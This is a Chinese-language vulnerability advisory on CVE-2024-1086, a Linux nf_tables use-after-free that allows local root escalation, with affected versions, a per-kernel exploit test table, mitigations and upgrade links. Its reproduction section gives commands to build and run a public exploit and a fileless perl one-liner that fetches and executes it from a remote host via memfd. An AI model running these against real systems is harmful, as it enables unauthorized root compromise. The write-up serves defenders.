让网站百度不到,做360网站中保存的图片存在哪里的,郑州专业网站建设公司首选,深圳网站搭建价格文章目录 前言声明一、netfilter介绍二、漏洞成因三、漏洞危害四、影响范围五、漏洞复现六、修复方案临时解决方案升级修复方案 前言
2024年1月#xff0c;各Linux发行版官方发布漏洞公告#xff0c;修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞#xff08;CVE-… 文章目录 前言声明一、netfilter介绍二、漏洞成因三、漏洞危害四、影响范围五、漏洞复现六、修复方案临时解决方案升级修复方案 前言
2024年1月各Linux发行版官方发布漏洞公告修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞CVE-2024-1086。鉴于该漏洞易于利用并且允许本地攻击者提升至root权限。 声明
请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、netfilter介绍
netfilter是Linux内核的一个子系统允许实现各种网络相关操作如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分用于定义和管理防火墙规则。
二、漏洞成因
Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞由于在nft_verdict_init()函数中允许正值作为hook判决中的丢弃错误因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时nf_hook_slow()函数可能会导致双重释放漏洞本地低权限威胁者可利用该漏洞将权限提升为root。
三、漏洞危害
该漏洞可以被本地攻击者利用从普通用户提升到ROOT用户权限。
四、影响范围
该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15的大多数 Linux系统/内核包括CentOS、Debian、Ubuntu和 KernelCTF等。
部分内核版本PoC/EXP测试结果如下
KernelKernel VersionDistroDistro VersionWorking/FailCPU PlatformCPU CoresRAM SizeFail ReasonTest StatusConfig URLLinuxv5.4.270n/an/afailQEMU x86_64816GiB[CODE] pre-dated nft code (denies rule alloc)finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.configLinuxv5.10.209n/an/afailQEMU x86_64816GiB[TCHNQ] BUG mm/slub.c:4118finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.configLinuxv5.14.21n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.configLinuxv5.15.148n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.configLinuxv5.16.20n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.configLinuxv5.17.15n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.configLinuxv5.18.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.configLinuxv5.19.17n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.configLinuxv6.0.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.configLinuxv6.1.55KernelCTFMitigation v3workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.configLinuxv6.1.69DebianBookworm 6.1.0-17workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.configLinuxv6.1.69DebianBookworm 6.1.0-17workingAMD Ryzen 5 7640U632GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.configLinuxv6.1.72KernelCTFLTSworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.configLinuxv6.2.?UbuntuJammy v6.2.0-37workingAMD Ryzen 5 7640U632GiBn/afinalLinuxv6.2.16n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.configLinuxv6.3.13n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.configLinuxv6.4.16n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page-_mapcount ! -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ONyfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.configLinuxv6.5.3UbuntuJammy v6.5.0-15failQEMU x86_64816GiB[TCHNQ] bad page: page-_mapcount ! -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ONyfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.configLinuxv6.5.13n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page-_mapcount ! -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ONyfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.configLinuxv6.6.14n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page-_mapcount ! -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ONyfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.configLinuxv6.7.1n/an/afailQEMU x86_64816GiB[CODE] nft verdict value incorrect is altered by kernelfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config
注意事项:
(1)该漏洞不适用于带有 kconfig 的 v6.4 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ONy包括 Ubuntu v6.5
(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NSy)这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone 1)并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLESy)。默认情况下这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试但可能也可以工作。此外该漏洞仅在 x64/amd64 上进行了测试。
(3)在具有大量网络活动的系统上 该漏洞可能非常不稳定
带有 WiFi 适配器的系统当被高使用率 WiFi 网络包围时会非常不稳定。在测试设备上请通过 BIOS 关闭 WiFi 适配器。
(4)运行漏洞后的内核恐慌系统崩溃是一种副作用没有故意修复以防止恶意使用漏洞即漏洞利用尝试现在应该更引人注目并且在实际操作中不切实际。尽管如此它仍然允许在实验室环境中进行有效的概念验证因为根 shell 可以正常工作并且可以通过磁盘进行持久化。 配置
默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞请确保增加CONFIG_PHYS_MEM.如果您通过 SSH进入测试机器或反向 shell 运行漏洞利用程序您可能需要切换CONFIG_REDIRECT_LOG以1避免不必要的网络活动。
五、漏洞复现
公开EXP/POC
#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit该项目还支持无落地文件的方法去使用不过需要目标存在perl的前提
perl -e require qw/syscall.ph/;my $fd syscall(SYS_memfd_create(), $fn, 0);system curl https://example.com/exploit -s $fd;exec {/proc/$$/fd/$fd} memfd;六、修复方案
临时解决方案
1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞在禁用之前需要仔细评估确认禁用该模块带来的影响例如iptables 可能需要 nf_tables 模块才能工作。
RedHat/CentOS
# echo blacklist nf_tables /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用Debian/Ubuntu
# sudo echo blacklist nf_tables /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用2、如果无法禁用 nf_tables 内核模块在系统上没有运行任何容器的情况下可以通过禁用用户命名空间来缓解漏洞。在禁用之前需要仔细评估并确认禁用所带来的影响例如许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。
RedHat/CentOS
# echo user.max_user_namespaces0 /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.confDebian/Ubuntu 如果不需要可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令
# sudo sysctl -w kernel.unprivileged_userns_clone0重启后仍然禁用
# echo kernel.unprivileged_userns_clone0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf升级修复方案
目前该漏洞已经修复受影响用户可升级到Linux内核v5.15.149、v6.1.76、v6.6.15或更高版本。
相关发行版本已发布漏洞公告可参考漏洞公告升级对应的Linux内核。
Ubuntu公告https://ubuntu.com/security/CVE-2024-1086
CentOS漏洞公告https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html
RedHat漏洞公告https://access.redhat.com/security/cve/cve-2024-1086
Debian漏洞公告https://security-tracker.debian.org/tracker/CVE-2024-1086
统信漏洞公告https://src.uniontech.com/#/security_advisory_detail?utsa_idUTSA-2024-000633
麒麟漏洞公告https://kylinos.cn/support/loophole/patch/5561.html